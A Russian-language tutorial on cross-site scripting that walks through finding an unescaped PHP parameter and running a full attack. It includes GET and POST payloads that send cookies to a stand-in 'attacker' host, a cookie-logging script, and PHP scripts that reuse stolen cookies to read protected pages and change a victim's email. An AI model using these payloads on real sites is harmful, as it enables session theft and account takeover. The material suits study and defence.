Введение Ошибки, связанные с межсайтовым скриптингом (Cross site scripting, XSS), являются достаточно известными, но по-прежнему исключительно опасными. Их уникальность заключается в том, что вместо непосредственной атаки сервера, они используют уязвимый сервер в качестве средства атаки на клиента. Это может сделать исключительно трудным отслеживание подобных атак, особенно если запросы не полностью протоколиуются (как в случае POST-запросов). Во многих документах рассматривается вопрос вставки HTML-кода в уязвимый скрипт, но обсуждение того, что может быть сделано с помощью успешной XSS-атаки, как правило, остается за скобками. Хотя обычно этого достаточно для защиты, истинная опасность XSS-атак зачастую остается недооцененной. В данном материале рассматриваются как раз такие подобные возможности XSS-атак. Анатомия XSS-атака обычно проводится путем конструирования специального URL, который атакующий подсовывает своей жертве. Можно провести аналогию между XSS-атакой и переполнением буфера, и между встраиванием скрипта и переписыванием EIP. В обоих случаях существуют две возможности для совершения успешной атаки: вставка мусора, либо переход в другую точку. Вставка мусора при переполнении буфера обычно приводит к атаке на отказ в обслуживании. В случае XSS-атаки она позволяет атакующему отобразить произвольную информацию и подавить вывод оригинальной веб-странице. Что касается перехода в другую точку, при переполнении буфера он обычно производится в некоторую область памяти, в которой расположен код, позволяющий захватить контроль над исполнение программы. В случае XSS, атакующий перенаправляет жертву на некоторую веб-страницу (как правило, находящуюся под контролем атакующего), перехватывая текущую сессию. Обнаружение Но каким образом осуществляются XSS-атаки? Они становятся возможными из-за ошибок в серверных приложениях, и корни их - в пользовательском вводе, который некорректно очищен от HTML-кода. Если атакующий получит возможность вставить произвольный HTML-код, то он сможет управлять отображением веб-страницы с правами самого сайта. Простейшая страница, уязвимая к подобным атакам, выглядит так: <?php echo "Hello, {$HTTP_GET_VARS['name']}!"; ?> При открытии страницы, переменная name, отправляемая методом GET, выводится непосредственно в ее теле, со всеми метасимволами. Передав в качестве параметра "Gavin Zuchlinski", мы получим корректный вариант отображения: Передав в параметре HTML-код, можно добиться неожиданного результата: Ввод не проверяется серверным скриптом перед тем как передать результат броузеру, и это позволяет вставить в уязвимую страницу произвольный пользовательский код. Иногда пользовательский ввод не обрабатывается скриптом непосредственно, а вставляется в файл или базу данных, и после этого забирается оттуда для вставки в страницу. Традиционным местом для XSS-ошибок являются страницы, выводящие всевозможные подтверждения (например, поисковые скрипты дублируют пользовательский ввод перед результатами поиска), и страницы с сообщениями об ошибках, сообщающие пользователю, что именно он ввел не так. В последнем случае (а иногда и в первом) для атаки часто достаточно закрыть содержимое текстового поля символами "> - кавычка закрывает параметр value, а > - весь тег. Атака После определения уязвимого параметра следует определить подходящий для использования HTTP-метод. Способ, которым пересылаются значения переменных, довольно важен - посылаются ли данные с помощью GET, POST, или сработает любой из них? Некоторые скрипты предпочитают что-то одно, некоторые, использующие готовые методы доступа к переменным (как в случае PH или Perl-Скриптов с CGI.pm) могут работать с любым из методов (1). Вставка с помощью GET самая простая, но и самая "шумная". Чтобы помешать осторожным пользователям обратить внимание на редиректы и прочий подозрительный код в строке адреса, можно использовать замену каждого символа его шестнадцатиричным значением, которому предшествует символ %. Тем не менее, этот метод засоряет адрес и по умолчанию протоколируется большинством веб-серверов (2). Простейший способ перехода - вставка кода на javascript с редиректом страницы. Таким образом можно отправить на посторонний сервер значения переменных, доступных только из текущего документа. Более сложные переходы включают другие HTML-теги и объекты (4, 5). Если код вида document.location.replace('http://attacker/payload'); может быть вставлен и исполнен, то можно считать, что атакующий контролирует исполнение страницы. Модифицировав этот код: document.location.replace ('http://attacker/payload?c='+document.cookie); мы добиваемся того, что сервер атакующего получает информацию о cookie жертвы. В случае упомянутой выше уязвимой страницы вставка кода является относительно простой: http://host/hello.php?name=<script>document.location.replac e('http://attacker/payload?c='%2Bdocument.cookie)</script> По самой природе XSS, атакующий не может непосредственно использовать уязвимый скрипт в личных целях. Встроенный код должна увидеть жертва. Если бы на том же сервере, что и hello.php, была расположена доска объявлений, постинг этой ссылки на нее привел бы множество жертв. После того как жертва открывает ссылку, информация передается на сервер атакующего. Что именно он сможет сделать с данной информацией, мы рассмотрим позже. Скрипты, уязвимые к POST-вставке, лишь немногим сложнее атаковать. Поскольку POST-переменные передаются независимо от URL скрипта, необходимо использовать промежуточную страницу. Цель промежуточной страницы - заставить клиента отправить POST-запрос, содержащий нужный нам код. В следующем примере создается форма, в которой атакующей сформировал значения переменных, и отправляет от имени пользователя: <form name=f method=POST action="http://host/hello.php"> <input type=hidden name="name" value="<script>document.location.replace ('http://attacker/payload?c='+document.cookie)</script>"> </form> <script>f.submit()</script> После того как жертва откроет промежуточную страницу, она вынудит броузер отправить POST-запрос к hello.php, с переменной name установленной в <script>document.location.replace ('http://attacker/payload?c='+document.cookie)</script> Цель атакующего достигнута, наш код передан уязвимой странице (3). Вместо вставки кода для перехода, атакующий может решить вставить код, который будет портить уязвимую страницу. Вставкой статичного HTML-кода атакующий может модифицировать отображаемое содержимое страницы. Там может находиться, к примеру код формы для логина, результат работы которой получит атакующий. Этот метод позволяет обойти средства идентификации такие как сертификаты сайтов или ручную проверку адреса клиентом. Если внедренный HTML-код будет позднее отображен на динамической странице (в гостевой книге, на форуме и т.п.), то страница будет выглядеть "взломанной". В общем, встраиваемый код может быть самым разным и полностью зависит от фантазии атакующего. Использование После обнаружения уязвимой страницы, создания кода перехода, вставки его в уязвимую страницу и исполнения кода перехода броузером жертвы, остается сделать еще один шаг. Страница, на которую перекинуло жертву, должна выполнить некоторые действия. Они могут быть простейшими - например, вывод рекламы или запись данных, - или более сложными, например, перехват пользовательской сессии. Перенаправлением пользователя на другую страницу может, к примеру, решаться простая задача накрутки - перехват посетителей с атакуемой страницы. Чуть более сложной является задача протоколирования критичной информации (cookie) для последуюшего ручного использования. Следующий код записывает IP-адрес посетителя, значение Refereк и значение cookie, переданной через переменную "c": <?php $f = fopen("log.txt", "a"); fwrite($f, "IP: {$_SERVER['REMOTE_ADDR']} Ref: {$_SERVER ['HTTP_REFERER']} Cookie: {$HTTP_GET_VARS['c']}\n"); fclose($f); ?> После того как атакующий получил значения cookie, он может извлечь из них полезную информацию, или попытаться перехватить сессию. Предполагая, что серверная сторона считает сессию незавершенной, атакующий может модифицировать свои cookie с целью перехвата сессии. Автоматизировав использование украденных cookie, атакующий значительно увеличивает свои шансы и упрощает атаку. При этом скрипт использует информацию, предоставленную обманутым клиентом, для выполнения своей задачи. В следующем примере скрипт атакующего использует cookie для получения исходного кода защищенной веб-страницы: <?php $request = "GET /secret.php HTTP/1.0\r\n"; $request .= "Cookie: {$HTTP_GET_VARS['c']}\r\n"; $request .= "\r\n"; $s = fsockopen("host", 80, $errno, $errstr, 30); fputs($s, $request); $content = ''; while (!feof($s)) { $content .= fgets($s, 4096); } fclose($s); echo $content; ?> В этом случае /secret.php передается украденный cookie, после чего результат выводится в броузере. Модифицировав содержимое запроса, можно выполнить практически любую задачу от имени пользователя. Следующий код использует метод POST для смены почтового адреса пользователя без его ведома: <?php $request = "POST /profile.php HTTP/1.0\r\n"; $request .= "Cookie: {$HTTP_GET_VARS['c']}\r\n"; $request .= "\r\n"; $request .= "email=attacker@hotmail.com"; $s = fsockopen("host", 80, $errno, $errstr, 30); fputs($s, $request); fclose($s); echo "<script>document.location.replace ('http://google.com/')</script>"; ?> Данный код выполняет полноценную XSS-атаку. Без стороннего скрипта, управляемого атакующим, атака не раскрыла бы весь свой потенциал. Заключение Последствия XSS-атак до сих пор остаются недооцененными специалистами по безопасности и разработчиками. Большинство обсуждающих их документов обычно рассматривают лишь фрагменты полной атаки. XSS-атаки начинаются с идентификации некорректно обработанного пользовательского ввода. После определения подходящей переменной, становится возможным внедрение кода. При внедрении кода, он может воспользоваться значениями переменных, доступных только в контексте данного сайта. В дальнейшем поток управления передаются для совершения определенных действий странице, которяа управляется атакующим. Действия могут быть простыми, как простая запись информации, или сложными, как перехват пользовательской сессии. При успешном выполнении всех этих этапов можно говорить о завершении полноценной XSS-атаки. |